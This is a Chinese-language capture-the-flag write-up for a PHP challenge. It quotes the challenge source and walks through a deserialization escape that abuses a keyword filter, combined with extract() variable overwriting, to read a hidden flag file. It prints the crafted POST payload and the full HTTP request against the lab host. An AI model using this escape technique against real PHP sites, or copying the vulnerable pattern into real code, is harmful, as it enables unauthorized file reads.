0x00 前言
题目很直接放出了源码 白盒审计相对是比较轻松的一种 知识点涉及: 1.反序列化逃逸 2.变量覆盖
<?php
$function = @$_GET['f'];
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}
if($_SESSION){
unset($_SESSION);
}
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
extract($_POST);
if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
$serialize_info = filter(serialize($_SESSION));
if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();');
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
意思phpinfo里会有hint 我一开始直接Ctrl+F flag没翻到 原来是f1ag
0x01 brain.md
理一下思路 最后一定是file_get_contents读取flag文件 显然不能直接以get方式传参(会对base64编码进行sha1散列计算) 那么必须通过user和function两个变量进行改动从而间接造成img变量的更改 (小伏笔为什么一定要两个变量)
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
echo file_get_contents(base64_decode($userinfo['img']));
替换前后分别var_dump一下便于我们观察 先POST: _SESSION[user]=flagflag试一下
可以看到虽然user变量的flag都被替换了,但是字符串长度s:8依旧不变 那么下次反序列化时,user变量会向后找8个字符来充当自己的值 也就是这一串
";s:3:"i
那么当被替换的字符串长度足够时,我们可以自己设计参数达到自行闭合user变量的效果,并且能够自行构造下一个连续参数的值
那么只用一个变量可行吗?
答案显然是不行的 eg: 直接再一个变量user中进行构造 由于序列化后变量user字符串的长度永远等于我们payload的长度,所以无法闭合user变量
所以此处我们需要用到下一个连续变量:function
步骤
- 先在user中填充字符串flag达到腾出空间的效果,以此来"吃掉"后面的序列化格式
- 然后构造下一个连续变量function,闭合user变量,并对function变量和img变量手动赋值并序列化(此处对function变量赋值是为了反序列化时正常)
- 在对img变量进行构造时,我们在末尾加上
;} 就人为的提前结束反序列化过程 - 通过extract对function变量进行覆盖
本地先试 传个参数SESSION[function]=1方便看一下
我们的目的是把后面的格式
;s:8:"function";s:1:"1
给吃掉 如果这一串能被当作变量user的字符串 后面的 "; 就能刚好闭合user变量了 按照上面的思路先对function进行初步赋值 user变量的flag个数可以根据后续我们的需要再进行调节
_SESSION[user]=flagflagflagflagflag&_SESSION[function]=";s:8:"function";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
一开始只腾了20个字符 可以看到要想达成我们的效果闭合user得腾出23个字符的空间 那么我们在原先的user变量(5个flag)再添加一个php
";s:8:"function";s:64:"
本地成功
POST /index.php HTTP/1.1
Host: 8b4ead95-d1ac-4cf0-9b48-04b3b09efa89.node4.buuoj.cn:81
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.99 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
Cookie: UM_distinctid=17d55cd820725e-095a0242feb31e-2343360-295d29-17d55cd8208e92
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 142
_SESSION[user]=flagflagflagflagflagphp&_SESSION[function]=";s:8:"function";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}&function=show_image
更改一下img变量里的内容即可 因为两次base64编码后的长度相同,所以别的也不用做更改 参考文章
https://blog.csdn.net/qq_45521281/article/details/107135706#0CTF_2016piapiapia_55
0x02 rethink
日常刷题… 和同龄师傅相比倍感差距
|